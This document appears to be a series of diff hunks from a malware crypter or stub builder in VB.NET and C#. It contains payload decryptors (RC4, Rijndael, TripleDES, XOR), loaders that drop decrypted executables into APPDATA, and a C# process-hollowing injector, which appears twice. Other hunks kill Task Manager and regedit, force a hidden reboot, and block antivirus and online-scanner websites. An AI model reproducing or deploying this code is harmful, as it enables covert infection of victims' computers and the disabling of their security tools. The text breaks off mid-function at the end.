Public Function PolyDeCrypt(ByVal Data As String) As String
|
||||
Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data)))
|
||||
End Function
|
||||
'Main PolyMorphic Encryption.
|
||||
Public Function PolyCrypt(ByVal Data() As Byte) As Byte()
|
||||
'We declare a byte array, just one byte bigger then the data.
|
||||
Dim ReturnBuffer(Data.Length) As Byte
|
||||
'we assain The first one with a random byte.
|
||||
ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, Convert.ToInt32(11111111, 2)))
|
||||
'now for each byte in data
|
||||
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
|
||||
'we add the previous byte to the next byte Mod 256. the first byte is random,
|
||||
'so will will get random bytes all the way.
|
||||
ReturnBuffer(i + Convert.ToInt32(1, 2)) = ModuloByte(ReturnBuffer(i), Data(i))
|
||||
Next
|
||||
'We Call the Selected Encryption to crypt the randomized Data.
|
||||
Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key))
|
||||
End Function
|
||||
'Main PolyMorphic Decryption.
|
||||
Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte()
|
||||
'This Function is the exact reverse of the crypt function.
|
||||
'we should Decrypt to get our last randomized data.
|
||||
Data = XorCrypt(Data, Encoding.Default.GetBytes(Key))
|
||||
'Now in the other function the return value is a one byte bigger array. lets remove that one
|
||||
Dim ReturnBuffer(Data.Length - Convert.ToInt32(10, 2)) As Byte
|
||||
'we started from Byte n# 0 to the last one. we'll play it reversed now.
|
||||
For i = Data.Length - Convert.ToInt32(1, 2) To Convert.ToInt32(1, 2) Step -Convert.ToInt32(1, 2)
|
||||
'We just remove The previous byte value from the current one Mod 256. simple
|
||||
ReturnBuffer(i - Convert.ToInt32(1, 2)) = ModuloByte(Data(i), -Data(i - Convert.ToInt32(1, 2)))
|
||||
Next
|
||||
'That's it. The Buffer is one byte less then the data. Perfect. Return it.
|
||||
Return ReturnBuffer
|
||||
End Function
|
||||
'A Positive Mod 256. This will prevent a non byte value. the result is always >= 0 and <= 255
|
||||
Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte
|
||||
While Addition < Convert.ToInt32(0, 2)
|
||||
'
|
||||
Addition += Convert.ToInt32(100000000, 2)
|
||||
End While
|
||||
Return Convert.ToByte((MyByte + Addition) Mod Convert.ToInt32(100000000, 2))
|
||||
End Function
|
||||
'Xor Encryption.
|
||||
Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte()
|
||||
If Key.Length <> 0 Then
|
||||
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
|
||||
Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod Convert.ToInt32(111, 2))) Mod Key.Length) Mod Key.Length)
|
||||
Next
|
||||
End If
|
||||
Return Data
|
||||
End Function
|
||||
Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String
|
||||
Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key)))
|
||||
End Function
|
||||
End Class
|
||||
@@ -0,0 +1,53 @@
|
||||
Public Shared Function Rc4(ByVal ºjmÍ() As Byte, ByVal ºjmUÍ() As Byte) As Byte()
|
||||
|
||||
Dim s(Convert.ToInt32(11111111, &H2)) As Byte
|
||||
|
||||
Dim i As Integer
|
||||
|
||||
For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
|
||||
|
||||
s(i) = CByte(i)
|
||||
|
||||
Next
|
||||
|
||||
Dim j As Integer
|
||||
|
||||
For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
|
||||
|
||||
j = (j + ºjmUÍ(i Mod ºjmUÍ.Length) + s(i)) And Convert.ToInt32(11111111, &H2)
|
||||
|
||||
Dim temp As Byte = s(i)
|
||||
|
||||
s(i) = s(j)
|
||||
|
||||
s(j) = temp
|
||||
|
||||
Next
|
||||
|
||||
i = Convert.ToInt32(&H0, &H2)
|
||||
|
||||
j = Convert.ToInt32(&H0, &H2)
|
||||
|
||||
Dim output(ºjmÍ.Length - Convert.ToInt32(&H1, &H2)) As Byte
|
||||
|
||||
Dim k As Integer
|
||||
|
||||
For k = Convert.ToInt32(&H0, &H2) To ºjmÍ.Length - Convert.ToInt32(&H1, &H2)
|
||||
|
||||
i = (i + Convert.ToInt32(1, &H2)) And Convert.ToInt32(11111111, &H2)
|
||||
|
||||
j = (j + s(i)) And Convert.ToInt32(11111111, &H2)
|
||||
|
||||
Dim temp As Byte = s(i)
|
||||
|
||||
s(i) = s(j)
|
||||
|
||||
s(j) = temp
|
||||
|
||||
output(k) = s((CType(s(i), Integer) + s(j)) And Convert.ToInt32(11111111, &H2)) Xor ºjmÍ(k)
|
||||
|
||||
Next
|
||||
|
||||
Return output
|
||||
|
||||
End Function
|
||||
@@ -0,0 +1,11 @@
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
R.GetObject("K")))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F60()
|
||||
Killer("regedit")
|
||||
End Sub
|
||||
@@ -0,0 +1,95 @@
|
||||
Option Explicit Off
|
||||
Option Strict Off
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System
|
||||
Imports Microsoft.VisualBasic
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Windows.Forms
|
||||
Imports System.IO
|
||||
Imports System.CodeDom.Compiler
|
||||
'AssemblyCodes
|
||||
Public Class Out
|
||||
'FakeAPI#1
|
||||
'FakeAPI#2
|
||||
'FakeAPI#3
|
||||
'FakeAPI#4
|
||||
'FakeAPI#5
|
||||
'FakeAPI#6
|
||||
'FakeAPI#7
|
||||
'FakeAPI#8
|
||||
'FakeAPI#9
|
||||
'FakeAPI#A
|
||||
'FakeAPI#B
|
||||
Shared Sub Main()
|
||||
Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly)
|
||||
'MessageB
|
||||
System.Threading.Thread.Sleep(DelayExe * 1000)
|
||||
'CallAntis
|
||||
'LoadMethod
|
||||
'KKK
|
||||
'AStartUpCall
|
||||
'CallWS
|
||||
'TaskManagerK
|
||||
'RegeditK
|
||||
'msconfigK
|
||||
'notepadK
|
||||
'dxdiagK
|
||||
'FolderOpts
|
||||
'meltcall
|
||||
'restart
|
||||
'Downloader
|
||||
'delHALDLL
|
||||
'Binder
|
||||
End Sub
|
||||
'InjectionEncryptionAlgorithm
|
||||
Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean
|
||||
Try
|
||||
Dim u As Assembly = file
|
||||
Dim t As Type = u.[GetType]([Class])
|
||||
If t IsNot Nothing Then
|
||||
Dim m As MethodInfo = t.GetMethod(Void)
|
||||
If m IsNot Nothing Then
|
||||
Return CBool(m.Invoke(Nothing, Parameters))
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End Function
|
||||
'Anti's Sub
|
||||
'FunctionA
|
||||
'Killer Sub
|
||||
'StubStrEncryption
|
||||
'KillerFunction
|
||||
'Websites
|
||||
'TaskmanagerSub
|
||||
'RegeditSub
|
||||
'msconfigSub
|
||||
'notepadSub
|
||||
'dxdiagSub
|
||||
'meltSub
|
||||
'junkFunction
|
||||
'InvokeSub
|
||||
Public Shared Function ReverseString(ByVal s As String) As String
|
||||
Dim arr As Char() = s.ToCharArray()
|
||||
Array.Reverse(arr)
|
||||
Return New String(arr)
|
||||
End Function
|
||||
Public Shared Function CC(ByVal Source As String) As Assembly
|
||||
Dim Parameters As New CompilerParameters()
|
||||
Dim cResults As CompilerResults = Nothing
|
||||
Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp")
|
||||
Parameters.GenerateExecutable = False
|
||||
Parameters.GenerateInMemory = True
|
||||
Parameters.ReferencedAssemblies.Add("System.dll")
|
||||
Parameters.ReferencedAssemblies.Add("System.Management.dll")
|
||||
Parameters.CompilerOptions = "/platform:x86"
|
||||
Parameters.TreatWarningsAsErrors = False
|
||||
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
|
||||
Return cResults.CompiledAssembly
|
||||
End Function
|
||||
'Add2StartUp
|
||||
End Class
|
||||
'heavyJunk
|
||||
@@ -0,0 +1,6 @@
|
||||
Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart"
|
||||
If Not IO.File.Exists(bytloc) Then
|
||||
Dim filebyt As Byte() = New Byte() {}
|
||||
My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False)
|
||||
Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide)
|
||||
End If
|
||||
@@ -0,0 +1,14 @@
|
||||
Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K"))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _
|
||||
R.GetObject("K")))
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
Catch
|
||||
End Try
|
||||
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _
|
||||
R.GetObject("K")))
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
|
||||
@@ -0,0 +1,42 @@
|
||||
Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
|
||||
|
||||
Dim A As New RijndaelManaged
|
||||
|
||||
Dim BC() As Byte
|
||||
|
||||
Dim BS() As Byte = New Byte() {Convert.ToInt32(&H1, &H2), _
|
||||
Convert.ToInt32(10, &H2), _
|
||||
Convert.ToInt32(11, &H2), _
|
||||
Convert.ToInt32(100, &H2), _
|
||||
Convert.ToInt32(101, &H2), _
|
||||
Convert.ToInt32(110, &H2), _
|
||||
Convert.ToInt32(111, &H2), _
|
||||
Convert.ToInt32(1000, &H2)}
|
||||
|
||||
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, BS)
|
||||
|
||||
A.Key = oKeyGenerator.GetBytes(A.Key.Length)
|
||||
|
||||
A.IV = oKeyGenerator.GetBytes(A.IV.Length)
|
||||
|
||||
Dim ms As New IO.MemoryStream
|
||||
|
||||
Dim cs As New CryptoStream(ms, A.CreateDecryptor(), CryptoStreamMode.Write)
|
||||
|
||||
Try
|
||||
|
||||
BC = Convert.FromBase64String(Decrypt)
|
||||
|
||||
cs.Write(BC, Convert.ToInt32(&H0, &H2), BC.Length)
|
||||
|
||||
cs.Close()
|
||||
|
||||
Decrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)
|
||||
|
||||
Catch
|
||||
|
||||
End Try
|
||||
|
||||
Return Decrypt
|
||||
|
||||
End Function
|
||||
@@ -0,0 +1,82 @@
|
||||
using System.Runtime.InteropServices;
|
||||
using System;
|
||||
using System.Text;
|
||||
public class IX
|
||||
{
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool SetThreadContext(IntPtr t, uint[] c);
|
||||
[DllImport("ntdll")]
|
||||
private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern uint ResumeThread(IntPtr hThread);
|
||||
[DllImport("kernel32")]
|
||||
private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
|
||||
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
|
||||
public static bool R(byte[] bytes, string surrogateProcess)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr procAttr = IntPtr.Zero;
|
||||
IntPtr[] processInfo = new IntPtr[4];
|
||||
byte[] startupInfo = new byte[0x44];
|
||||
int num2 = BitConverter.ToInt32(bytes, 60);
|
||||
int num = BitConverter.ToInt16(bytes, num2 + 6);
|
||||
IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
|
||||
if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
|
||||
{
|
||||
uint[] ctxt = new uint[0xb3];
|
||||
ctxt[0] = 0x10002;
|
||||
if (GetThreadContext(processInfo[1], ctxt))
|
||||
{
|
||||
IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
|
||||
IntPtr buffer = IntPtr.Zero;
|
||||
IntPtr bufferSize = new IntPtr(4);
|
||||
IntPtr numRead = IntPtr.Zero;
|
||||
if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
|
||||
(NtUnmapViewOfSection(processInfo[0], buffer) == 0))
|
||||
{
|
||||
IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
|
||||
IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
|
||||
IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
|
||||
int lpNumberOfBytesWritten;
|
||||
WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
|
||||
int num5 = num - 1;
|
||||
for (int i = 0; i <= num5; i++)
|
||||
{
|
||||
int[] dst = new int[10];
|
||||
Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
|
||||
byte[] buffer2 = new byte[(dst[4] - 1) + 1];
|
||||
Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
|
||||
size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
|
||||
addr = new IntPtr(buffer2.Length);
|
||||
WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
|
||||
}
|
||||
size = new IntPtr(ctxt[0x29] + 8L);
|
||||
addr = new IntPtr(4);
|
||||
WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
|
||||
ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
|
||||
SetThreadContext(processInfo[1], ctxt);
|
||||
}
|
||||
}
|
||||
ResumeThread(processInfo[1]);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
using System.Runtime.InteropServices;
|
||||
using System;
|
||||
using System.Text;
|
||||
public class IX
|
||||
{
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool SetThreadContext(IntPtr t, uint[] c);
|
||||
[DllImport("ntdll")]
|
||||
private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
[DllImport("kernel32")]
|
||||
private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern uint ResumeThread(IntPtr hThread);
|
||||
[DllImport("kernel32")]
|
||||
private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
|
||||
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
|
||||
public static bool R(byte[] bytes, string surrogateProcess)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr procAttr = IntPtr.Zero;
|
||||
IntPtr[] processInfo = new IntPtr[4];
|
||||
byte[] startupInfo = new byte[0x44];
|
||||
int num2 = BitConverter.ToInt32(bytes, 60);
|
||||
int num = BitConverter.ToInt16(bytes, num2 + 6);
|
||||
IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
|
||||
if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
|
||||
{
|
||||
uint[] ctxt = new uint[0xb3];
|
||||
ctxt[0] = 0x10002;
|
||||
if (GetThreadContext(processInfo[1], ctxt))
|
||||
{
|
||||
IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
|
||||
IntPtr buffer = IntPtr.Zero;
|
||||
IntPtr bufferSize = new IntPtr(4);
|
||||
IntPtr numRead = IntPtr.Zero;
|
||||
if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
|
||||
(NtUnmapViewOfSection(processInfo[0], buffer) == 0))
|
||||
{
|
||||
IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
|
||||
IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
|
||||
IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
|
||||
int lpNumberOfBytesWritten;
|
||||
WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
|
||||
int num5 = num - 1;
|
||||
for (int i = 0; i <= num5; i++)
|
||||
{
|
||||
int[] dst = new int[10];
|
||||
Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
|
||||
byte[] buffer2 = new byte[(dst[4] - 1) + 1];
|
||||
Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
|
||||
size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
|
||||
addr = new IntPtr(buffer2.Length);
|
||||
WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
|
||||
}
|
||||
size = new IntPtr(ctxt[0x29] + 8L);
|
||||
addr = new IntPtr(4);
|
||||
WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
|
||||
ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
|
||||
SetThreadContext(processInfo[1], ctxt);
|
||||
}
|
||||
}
|
||||
ResumeThread(processInfo[1]);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
R.GetObject("K")))
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
Catch
|
||||
End Try
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
|
||||
@@ -0,0 +1,8 @@
|
||||
Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
|
||||
For i = Data.Length - Convert.ToInt32(&H1, 2) To Convert.ToInt32(0, 2) Step -1
|
||||
Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _
|
||||
Convert.ToInt32(&H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _
|
||||
Mod Convert.ToInt32(100000000, 2))
|
||||
Next
|
||||
Return Data
|
||||
End Function
|
||||
@@ -0,0 +1,96 @@
|
||||
Option Explicit Off
|
||||
Option Strict Off
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System
|
||||
Imports Microsoft.VisualBasic
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
Imports Microsoft.Win32
|
||||
Imports System.Windows.Forms
|
||||
Imports System.IO
|
||||
Imports System.CodeDom.Compiler
|
||||
'AssemblyCodes
|
||||
Public Class Out
|
||||
'FakeAPI#1
|
||||
'FakeAPI#2
|
||||
'FakeAPI#3
|
||||
'FakeAPI#4
|
||||
'FakeAPI#5
|
||||
'FakeAPI#6
|
||||
'FakeAPI#7
|
||||
'FakeAPI#8
|
||||
'FakeAPI#9
|
||||
'FakeAPI#A
|
||||
'FakeAPI#B
|
||||
Shared Sub Main()
|
||||
Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly)
|
||||
'MessageB
|
||||
System.Threading.Thread.Sleep(DelayExe * 1000)
|
||||
'CallAntis
|
||||
'LoadMethod
|
||||
'KKK
|
||||
'AStartUpCall
|
||||
'CallWS
|
||||
'TaskManagerK
|
||||
'RegeditK
|
||||
'msconfigK
|
||||
'notepadK
|
||||
'dxdiagK
|
||||
'FolderOpts
|
||||
'meltcall
|
||||
'restart
|
||||
'Downloader
|
||||
'delHALDLL
|
||||
'Binder
|
||||
End Sub
|
||||
'InjectionEncryptionAlgorithm
|
||||
Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean
|
||||
Try
|
||||
Dim u As Assembly = file
|
||||
Dim t As Type = u.[GetType]([Class])
|
||||
If t IsNot Nothing Then
|
||||
Dim m As MethodInfo = t.GetMethod(Void)
|
||||
If m IsNot Nothing Then
|
||||
Return CBool(m.Invoke(Nothing, Parameters))
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End Function
|
||||
'Anti's Sub
|
||||
'FunctionA
|
||||
'Killer Sub
|
||||
'StubStrEncryption
|
||||
'KillerFunction
|
||||
'Websites
|
||||
'TaskmanagerSub
|
||||
'RegeditSub
|
||||
'msconfigSub
|
||||
'notepadSub
|
||||
'dxdiagSub
|
||||
'meltSub
|
||||
'junkFunction
|
||||
'InvokeSub
|
||||
|
||||
Public Shared Function ReverseString(ByVal s As String) As String
|
||||
Dim arr As Char() = s.ToCharArray()
|
||||
Array.Reverse(arr)
|
||||
Return New String(arr)
|
||||
End Function
|
||||
Public Shared Function CC(ByVal Source As String) As Assembly
|
||||
Dim Parameters As New CompilerParameters()
|
||||
Dim cResults As CompilerResults = Nothing
|
||||
Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp")
|
||||
Parameters.GenerateExecutable = False
|
||||
Parameters.GenerateInMemory = True
|
||||
Parameters.ReferencedAssemblies.Add("System.dll")
|
||||
Parameters.ReferencedAssemblies.Add("System.Management.dll")
|
||||
Parameters.CompilerOptions = "/platform:x86"
|
||||
Parameters.TreatWarningsAsErrors = False
|
||||
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
|
||||
Return cResults.CompiledAssembly
|
||||
End Function
|
||||
'Add2StartUp
|
||||
End Class
|
||||
'heavyJunk
|
||||
@@ -0,0 +1,14 @@
|
||||
Dim N As String = TripleDESdecrypt(R.GetObject("NM"),R.GetObject("K"), True)
|
||||
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
If IO.File.Exists(I) Then
|
||||
IO.File.Delete(I)
|
||||
End If
|
||||
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("I"), _
|
||||
R.GetObject("K"), True))
|
||||
Try
|
||||
My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
Catch
|
||||
End Try
|
||||
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject("F"), _
|
||||
R.GetObject("K"), True))
|
||||
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
|
||||
@@ -0,0 +1,17 @@
|
||||
Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
|
||||
Dim keyArray As Byte()
|
||||
Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
|
||||
If d Then
|
||||
Dim hashmd5 = New MD5CryptoServiceProvider()
|
||||
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
|
||||
Else
|
||||
keyArray = UTF8Encoding.UTF8.GetBytes(c)
|
||||
End If
|
||||
Dim tdes = New TripleDESCryptoServiceProvider()
|
||||
tdes.Key = keyArray
|
||||
tdes.Mode = CipherMode.ECB
|
||||
tdes.Padding = PaddingMode.PKCS7
|
||||
Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
|
||||
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
|
||||
Return UTF8Encoding.UTF8.GetString(resultArray)
|
||||
End Function
|
||||
@@ -0,0 +1,3 @@
|
||||
Shared Sub F59()
|
||||
Killer("taskmgr")
|
||||
End Sub
|
||||
@@ -0,0 +1,79 @@
|
||||
Shared Sub W
|
||||
|
||||
WebBlock("www.novirusthanks.org")
|
||||
|
||||
WebBlock("www.virustotal.com")
|
||||
|
||||
WebBlock("www.virusscan.jotti.org")
|
||||
|
||||
WebBlock("www.malwarebytes.org")
|
||||
|
||||
WebBlock("www.bitdefender.com/scanner/online/free.html")
|
||||
|
||||
WebBlock("www.eset.com/online-scanner")
|
||||
|
||||
WebBlock("housecall.trendmicro.com")
|
||||
|
||||
WebBlock("www.kaspersky.com/scanforvirus")
|
||||
|
||||
WebBlock("www.kaspersky.com/virusscanner")
|
||||
|
||||
WebBlock("www.f-secure.com/en_EMEA/security/tools/online-scanner/")
|
||||
|
||||
WebBlock("www.windowsecurity.com/trojanscan")
|
||||
|
||||
WebBlock("www.avg.com")
|
||||
|
||||
WebBlock("www.avast.com")
|
||||
|
||||
WebBlock("www.avira.com")
|
||||
|
||||
WebBlock("www.zonealarm.com")
|
||||
|
||||
WebBlock("www.Symantec.com")
|
||||
|
||||
WebBlock("security.symantec.com")
|
||||
|
||||
WebBlock("www.pandasecurity.com")
|
||||
|
||||
Dim FS As String = System.Windows.Forms.Application.StartupPath & "\DNS.bat"
|
||||
|
||||
Dim SW As New IO.StreamWriter(FS)
|
||||
|
||||
SW.Write("ipconfig/flushdns")
|
||||
|
||||
SW.Write("ipconfig/release")
|
||||
|
||||
SW.Write("ipconfig/renew")
|
||||
|
||||
SW.Flush()
|
||||
|
||||
SW.Close()
|
||||
|
||||
Dim P As New System.Diagnostics.Process
|
||||
|
||||
P.StartInfo.FileName = FS
|
||||
|
||||
P.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
|
||||
|
||||
P.Start()
|
||||
|
||||
P.WaitForExit()
|
||||
|
||||
IO.File.Delete(FS)
|
||||
|
||||
End Sub
|
||||
|
||||
Shared Sub WebBlock(ByVal Address As String)
|
||||
|
||||
